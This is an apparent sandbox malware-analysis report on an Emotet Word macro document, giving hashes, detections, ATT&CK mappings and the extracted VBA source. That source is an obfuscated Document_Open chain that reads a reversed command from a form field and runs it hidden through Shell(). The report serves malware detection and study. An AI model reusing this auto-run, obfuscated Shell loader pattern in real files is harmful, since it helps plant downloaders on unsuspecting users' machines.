Emotet — Office (OOXML) malware analysis

Static analysis result for SHA-256 c7effcaaa891bdf9…

MALICIOUS

Office (OOXML)

94.5 KB Created: 2019-03-18 20:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-08-04
MD5: 39afa3465f582cb02e0f8f3df4bdeebf SHA-1: 9690b04adaccb883a3f8a4134981523149dab850 SHA-256: c7effcaaa891bdf9abd87ded7e9148a8d5c883c95472120d4be76d8d391468e8
222 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature Doc.Downloader.Emotet-6869634-0. It contains a VBA project with a Document_Open macro that utilizes the Shell() function. This indicates the macro is designed to execute arbitrary commands, likely to download and run a secondary payload, which is a common Emotet behavior.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-6869634-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6869634-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2353 bytes
SHA-256: 36b0325aaec478904b16a345efc77f9f52cb6c02f72abf0265e3a618d271c402
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub Document_Open()

Dim x1zirU9f3 As Single
x1zirU9f3 = 11701.41605081
Dim noBsW As Byte
noBsW = 89

Dim cIEwxZ As Single
cIEwxZ = Int(57458.657289166)
i9900k
End Sub

Attribute VB_Name = "gBW8U9aY"
Sub DwUWZq()
Dim K8CjTW5JP As Boolean
K8CjTW5JP = False
Dim NPOk20 As Boolean
NPOk20 = True
Dim Iwu82 As Single
Iwu82 = Fix(5889.3314528968)
End Sub
Sub xzu57v()
End Sub
Public Sub i9900k()
Dim kMOF0Ua As Long
kMOF0Ua = -2038810730
Dim f68pmLg As Boolean
f68pmLg = True
Dim nQhaHwEsP As Boolean
nQhaHwEsP = True
Dim Z42HfzNZ As Byte
Z42HfzNZ = 127
Dim qVa3eX As Long
qVa3eX = 0
Dim KXpC7OhSb As Byte
KXpC7OhSb = 42
Dim Szu4iy8 As Single
Szu4iy8 = Fix(29108.267979161)
Dim TjIrWg3qa As Single
TjIrWg3qa = Val(50948.742164438)
Dim Pc7BiLlU As Single
Pc7BiLlU = 21578.975833736
Dim yhTbL As Double
yhTbL = 38420.672613073
Dim Jlq2fzj As Integer
Jlq2fzj = -27457
jNF2q$
End Sub

Attribute VB_Name = "Ltiy7K"
Sub Ht8Fm()
End Sub
Sub qlfX64H()
End Sub
Function EXgZB(SlTQn6uG, SEGf2Tlk) As String
EXgZB = Shell(StrReverse(SlTQn6uG), 0)
End Function

Attribute VB_Name = "sJY9Ocd"
Sub Ou1Mv()
Dim TJiPrEn
TJiPrEn = Len(syX3VQd2x)
Dim UJUIW As Long
UJUIW = -380133772
End Sub
Sub HTUmHetG()
End Sub
Public Function jNF2q() As String
Dim uFzZP3G As Object
Set uFzZP3G = New fm
Dim W1ZrM As String
Dim RPkvDf As Boolean
RPkvDf = False
Dim hLIkObhTt As Long
hLIkObhTt = Sgn(0)
W1ZrM = uFzZP3G.monday.Text
Dim g9dXGO As String
g9dXGO = Len(nbyClep)
Dim IkNAd
IkNAd = RTrim(Gc6HoVs1v)
Dim vPejK7BJ As Long
vPejK7BJ = Sgn(0)
Dim Ixzvct8 As Boolean
Ixzvct8 = True
W1ZrM = EXgZB(W1ZrM, 365 - 109)
Dim ESrGc
ESrGc = RTrim(XBkKfr4cH)
jNF2q = W1ZrM
End Function

Attribute VB_Name = "fm"
Attribute VB_Base = "0{BA4AE826-DAF4-4B05-BC9D-3B55D46A30DA}{177B42CB-40CA-4F8E-BC7E-8BA61D0E3ED2}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 24064 bytes
SHA-256: 29807604faebd45606ce5b1e0d3f2b4dd1ae93c3ddc633424826c40d1029a415

Open this report in the interactive analyzer, or submit your own file for analysis.